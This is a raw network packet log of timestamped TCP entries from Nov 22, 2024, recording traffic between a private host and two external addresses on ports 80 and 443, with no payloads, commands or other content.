Nov 22, 2024 04:12:13.170967102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171098948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171113014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171147108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171178102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171260118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171271086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171281099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171308041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171323061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171333075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171334028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171334028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171334028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171334028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171344995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171356916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171397924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171397924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171397924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171411037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171422958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171432972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171442032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171453953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171462059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171462059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171463966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171474934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171487093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171487093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171495914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171508074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171509981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171520948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171530962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171533108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171542883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171547890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171561956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171569109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171574116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171586037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171588898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171596050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171607018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171610117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171619892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171626091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171633959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171643972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171646118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171653986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171665907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171667099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171675920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171685934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171691895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171699047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171710014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171710014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171721935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171731949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171736956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171736956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171744108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171755075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171761990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171766043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171787024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171803951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.171957970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.171968937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.172012091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.172561884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.172614098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.172662973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.172713995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.173773050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.173825026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.173863888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.173916101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.174917936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.174967051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.175012112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.175076962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.176110983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.176151037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.176163912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.176218987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.177300930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.177354097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.177393913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.177445889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.178493023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.178544998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.178586006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.178637028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.179680109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.179734945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.179768085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.179815054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.180845976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.180896044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.180943966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.180991888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.182030916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.182080984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.182126045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.182174921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.183214903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.183267117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.183326960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.183377028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.184426069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.184480906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.184525013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.184573889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.185359001 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.185589075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.185638905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.185684919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.185738087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.185812950 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.185823917 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.186224937 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.186228991 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.186777115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.186826944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.186886072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.186935902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.187957048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.188007116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.188051939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.188110113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.189141035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.189189911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.189253092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.189300060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.190324068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.190392017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.190432072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.190479994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.191505909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.191557884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.191603899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.191658974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.192675114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.192728043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.192774057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.192823887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.193875074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.193927050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.193972111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.194021940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.195061922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.195113897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.195132971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.195182085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.196240902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.196291924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.196336985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.196386099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.197413921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.197467089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.197506905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.197563887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.198611975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.198661089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.198728085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.198776007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.199790001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.199841022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.199902058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.199953079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.200968981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.201035976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.201077938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.201127052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.202152014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.202200890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.202269077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.202312946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.203336000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.203389883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.203434944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.203489065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.204507113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.204560995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.204606056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.204655886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.205704927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.205755949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.205836058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.205884933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.206885099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.206938028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.207031965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.207081079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.208070993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.208121061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.208164930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.208215952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.209261894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.209312916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.209341049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.209388971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.210434914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.210484982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.210530043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.210578918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.211610079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.211679935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.211719990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.211762905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.212795019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.212847948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.212913990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.212961912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.213974953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.214025021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.214098930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.214147091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.215117931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.215168953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.264209986 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.264377117 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.264502048 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.264535904 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.264547110 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.264556885 CET	49765	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.264561892 CET	443	49765	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.266787052 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.266810894 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.266882896 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.267004967 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.267020941 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.354413986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.354449034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.354522943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.354603052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.354711056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.354767084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.354829073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.354886055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.355596066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.355657101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.355676889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.355719090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.356498003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.356549025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.356595039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.356646061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.357373953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.357424021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.357485056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.357538939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.358258009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.358310938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.358361006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.358407974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.359147072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.359198093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.359308004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.359359980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.360600948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.360613108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.360663891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.360924006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.360977888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.361021996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.361077070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.361788988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.361840010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.361901999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.361952066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.362673998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.362730026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.362783909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.362839937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.363574982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.363627911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.363670111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.363725901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.364480019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.364547968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.364587069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.364639997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.365406990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.365458012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.365526915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.365580082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.366218090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.366272926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.366312981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.366364002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.367120981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.367176056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.367219925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.367271900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.367996931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.368052006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.368096113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.368146896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.368868113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.368917942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.368976116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.369025946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.369775057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.369832039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.369874954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.369925022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.370632887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.370685101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.370733976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.370784044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.371520996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.371572971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.371637106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.371691942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.372415066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.372467995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.372513056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.372565985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.373317957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.373368979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.373411894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.373462915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.374172926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.374222994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.374267101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.374315977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.375045061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.375098944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.375113964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.375144958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.375956059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.376007080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.376096010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.376147032 CET	49760	80	192.168.2.4	31.41.244.11
